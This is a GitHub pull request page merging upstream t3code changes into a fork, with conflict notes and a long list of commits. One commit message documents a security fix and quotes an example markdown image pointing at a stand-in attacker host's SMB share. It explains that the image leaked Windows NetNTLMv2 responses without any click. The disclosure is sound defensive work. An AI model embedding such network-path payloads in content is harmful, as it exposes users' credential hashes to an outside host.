Skip to content

chore(sync): merge pingdotgg/t3code main - #279

Merged
Yarden-zamir merged 46 commits into
mainfrom
fork-sync/2026-10-21-2306
Oct 21, 2026
Merged

Yarden-zamir merged 46 commits into
mainfrom
fork-sync/2026-10-21-2306

Conversation

@Yarden-zamir

Copy link
Copy Markdown
Owner

Fork Sync run https://github.com/Yarden-zamir/t3code/actions/runs/39690959050 failed on 3 merge conflicts. This pull request merges pingdotgg/t3code main up to a12d6ed (45 upstream commits).

Conflicts and resolutions

Upstream changes in fork areas

I read the upstream diff of each of the 25 files that both sides changed.

  • Chat shortcuts moved into useChatTerminalActions, useRightPanelActions and composerShortcuts (refactor(web): chat shortcuts live with the hooks that own their actions pingdotgg/t3code#23097). The fork approval shortcuts stay in the ChatView commands, which useChatShortcuts still checks first. The fork shortcut context fields (focusLevelContext, approvalPending) stay in getShortcutContext.
  • useChatTerminalActions, useRightPanelActions, useThreadLifecycle: upstream only added the shortcuts maps. The fork script runner changes, the machines panel action and the background work details from the previous sync remain.
  • RepositoryIdentityResolver: upstream adds remoteUrl to origin for "copy to machine" (fix(web): copy to machine clones the fork, not its upstream pingdotgg/t3code#22492). With the fork preferOriginRemote setting, origin is the primary remote, so the dialog clones origin as before.
  • presentation.ts: usage limits now count enabled environments only (fix(client): usage limits skip disabled connections pingdotgg/t3code#22936). They read presentationAtom, which already carries the fork machine map label.
  • storageCleanup.ts, ws.ts: new network path guards (a12d6ed). The fork worktree path template check is unchanged.
  • GitVcsDriverCore.ts, GitManager.ts, config.ts, ScheduledTaskService.ts, themePalette.ts, contracts: new push failure details, draft status, real temp paths, list order by created_at, a new theme helper and optional fields. No fork feature depends on the old behaviour.

Checks

  • vp run typecheck: 35 of 35 packages pass.
  • Fork tests: running on this machine. Fork CI runs the full suites.

t3dotgg and others added 30 commits October 21, 2026 14:07
…the server (pingdotgg#22897)

Co-authored-by: MarMarLabs <marmar9615@icloud.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…otgg#21822)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>
…g#22913)

Co-authored-by: flamboh <oliver.boorstein@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…sign in over (pingdotgg#22377)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>
… internal error (pingdotgg#22895)

Co-authored-by: ScottN-PV <snorteman@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ll (pingdotgg#22900)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gg#21442)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ekt is missing (pingdotgg#22896)

Co-authored-by: Shubh <shubh@shubhxho.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…iling (pingdotgg#22901)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com>
…pdate depth exceeded" (pingdotgg#22600)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ed diff (pingdotgg#22917)

Co-authored-by: Rodrigo Brechard <rodrigo@clubtidy.fr>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…in the sidebar (pingdotgg#22912)

Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…x` stay chips (pingdotgg#22922)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ive in their own hooks (pingdotgg#23091)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…#23094)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…tead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ons (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…le a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ingdotgg#22899)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…ailure (pingdotgg#22904)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gg#21519)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
tris203 and others added 16 commits October 21, 2026 15:10
… Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…gdotgg#22188)

Co-authored-by: macodev00 <macodev00@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
# Conflicts:
#	apps/mobile/src/features/threads/ThreadFeed.tsx
#	apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts
#	apps/web/src/components/chat/useChatShortcuts.ts
@Yarden-zamir
Yarden-zamir merged commit 88024e2 into main Oct 21, 2026
19 checks passed
@Yarden-zamir
Yarden-zamir deleted the fork-sync/2026-10-21-2306 branch October 21, 2026 23:22
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.